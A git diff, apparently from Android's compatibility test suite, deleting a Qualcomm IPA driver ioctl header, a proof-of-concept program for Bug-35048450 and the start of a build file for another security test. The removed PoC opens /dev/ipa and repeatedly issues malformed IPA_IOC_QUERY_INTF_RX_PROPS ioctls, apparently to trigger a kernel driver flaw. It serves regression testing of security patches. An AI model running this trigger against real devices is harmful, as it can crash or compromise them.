- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status: output parameter, status of route rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index: output parameter, routing table index, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of filtering rule add operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_add {
- struct ipa_flt_rule rule;
- uint8_t at_rear;
- uint32_t flt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t global;
- uint8_t num_rules;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- * is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status: output parameter, status of filtering rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
- struct ipa_flt_rule rule;
- uint32_t rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status: output parameter, status of filtering rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_flt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl: output parameter, handle of routing table, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props: output parameter, number of tx properties
- * valid only when ioctl return val is non-negative
- * @num_rx_props: output parameter, number of rx properties
- * valid only when ioctl return val is non-negative
- * @num_ext_props: output parameter, number of ext properties
- * valid only when ioctl return val is non-negative
- * @excp_pipe: exception packets of this interface should be
- * routed to this pipe
- */
-struct ipa_ioc_query_intf {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- uint32_t num_rx_props;
- uint32_t num_ext_props;
- enum ipa_client_type excp_pipe;
-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type dst_pipe;
- enum ipa_client_type alt_dst_pipe;
- char hdr_name[IPA_RESOURCE_NAME_MAX];
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_ipfltri_rule_eq eq_attrib;
- enum ipa_flt_action action;
- uint32_t rt_tbl_idx;
- uint8_t mux_id;
- uint32_t filter_hdl;
- uint8_t is_xlat_rule;
- uint32_t rule_id;
- uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_ext_props;
- struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type src_pipe;
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_rx_props;
- struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
- char dev_name[IPA_RESOURCE_NAME_MAX];
- size_t size;
- off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
- uint8_t tbl_index;
- uint32_t ipv4_rules_offset;
- uint32_t expn_rules_offset;
-
- uint32_t index_offset;
- uint32_t index_expn_offset;
-
- uint16_t table_entries;
- uint16_t expn_table_entries;
- uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
- uint8_t table_index;
- uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr: type of table, from which the base address of the table
- * can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
- uint8_t table_index;
- uint8_t base_addr;
-
- uint32_t offset;
- uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
- uint8_t entries;
- struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message + size of metadata)
- */
-struct ipa_msg_meta {
- uint8_t msg_type;
- uint8_t rsvd;
- uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
- WLAN_HDR_ATTRIB_MAC_ADDR,
- WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
- enum ipa_wlan_hdr_attrib_type attrib_type;
- uint8_t offset;
- union {
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
- uint8_t sta_id;
- } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_of_attribs;
- struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
- char upstream_ifname[IPA_RESOURCE_NAME_MAX];
- char tethered_ifname[IPA_RESOURCE_NAME_MAX];
- enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
- enum ipa_rm_resource_name resource_name;
- enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
- enum ipa_client_type client;
- uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
- IPACM_CLIENT_USB = 1,
- IPACM_CLIENT_WLAN,
- IPACM_CLIENT_MAX
-};
-/**
- * actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR, \
- struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR, \
- struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE, \
- struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE_AFTER, \
- struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_RT_RULE, \
- struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE, \
- struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE_AFTER, \
- struct ipa_ioc_add_flt_rule_after *)
-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_FLT_RULE, \
- struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
- IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_RT_TBL, \
- struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_RT_TBL, \
- uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_COPY_HDR, \
- struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF, \
- struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_TX_PROPS, \
- struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_RX_PROPS, \
- struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
- struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HDR, \
- struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_HDR, \
- uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ALLOC_NAT_MEM, \
- struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_INIT_NAT, \
- struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NAT_DMA, \
- struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_DEL_NAT, \
- struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_NAT_OFFSET, \
- uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_SET_FLT, \
- uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_PULL_MSG, \
- struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_ADD_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_DEL_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GENERATE_FLT_EQ, \
- struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_EP_MAPPING, \
- uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_RT_TBL_INDEX, \
- struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_WRITE_QMAPID, \
- struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_FLT_RULE, \
- struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_RT_RULE, \
- struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
- struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
- struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
- struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR_PROC_CTX, \
- struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR_PROC_CTX, \
- struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HW_VERSION, \
- enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE 0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS 1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS 2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES 3
-#define TETH_BRIDGE_IOCTL_MAX 4
-
-
-/**
- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
- TETH_LINK_PROTOCOL_IP,
- TETH_LINK_PROTOCOL_ETHERNET,
- TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
- TETH_AGGR_PROTOCOL_NONE,
- TETH_AGGR_PROTOCOL_MBIM,
- TETH_AGGR_PROTOCOL_TLP,
- TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot: Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte: Maximal size of aggregated packet in bytes.
- * Default value is 16*1024.
- * @max_datagrams: Maximal number of IP packets in an aggregated
- * packet. Default value is 16
- */
-struct teth_aggr_params_link {
- enum teth_aggr_protocol_type aggr_prot;
- uint32_t max_transfer_size_byte;
- uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul: Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
- struct teth_aggr_params_link ul;
- struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols: Number of protocols described in the array
- * @prot_caps[]: Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
- uint16_t num_protocols;
- struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
- enum teth_link_protocol_type link_protocol;
- uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
- struct teth_aggr_params aggr_params;
- uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
- struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
- struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE 0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR 1
-#define ODU_BRIDGE_IOCTL_MAX 2
-
-/**
- * enum odu_bridge_mode - bridge mode
- * (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
- ODU_BRIDGE_MODE_ROUTER,
- ODU_BRIDGE_MODE_BRIDGE,
- ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_MODE, \
- enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
- struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp b/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
deleted file mode 100644
index aa9410f..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
+++ /dev/null
@@ -1,64 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_rx_props_2 {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_rx_props;
- struct ipa_ioc_rx_intf_prop rx[2];
-};
-int main() {
-
- int fd = open("/dev/ipa", O_RDWR);
-
- struct ipa_ioc_query_intf query_intf;
- strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
- int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
- ipa_ioc_query_intf_rx_props_2 rx_props_2;
- memset(&rx_props_2, 0, sizeof(rx_props_2));
- strlcpy(&(rx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- rx_props_2.num_rx_props = 2;
-
- int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props_2);
-
- while (true) {
- ipa_ioc_query_intf_rx_props rx_props;
- memset(&rx_props, 0, sizeof(rx_props));
- strlcpy(&(rx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- rx_props.num_rx_props = 0;
-
- int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props);
-
- usleep(10000);
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
deleted file mode 100644
index 8865fa9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35139833
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
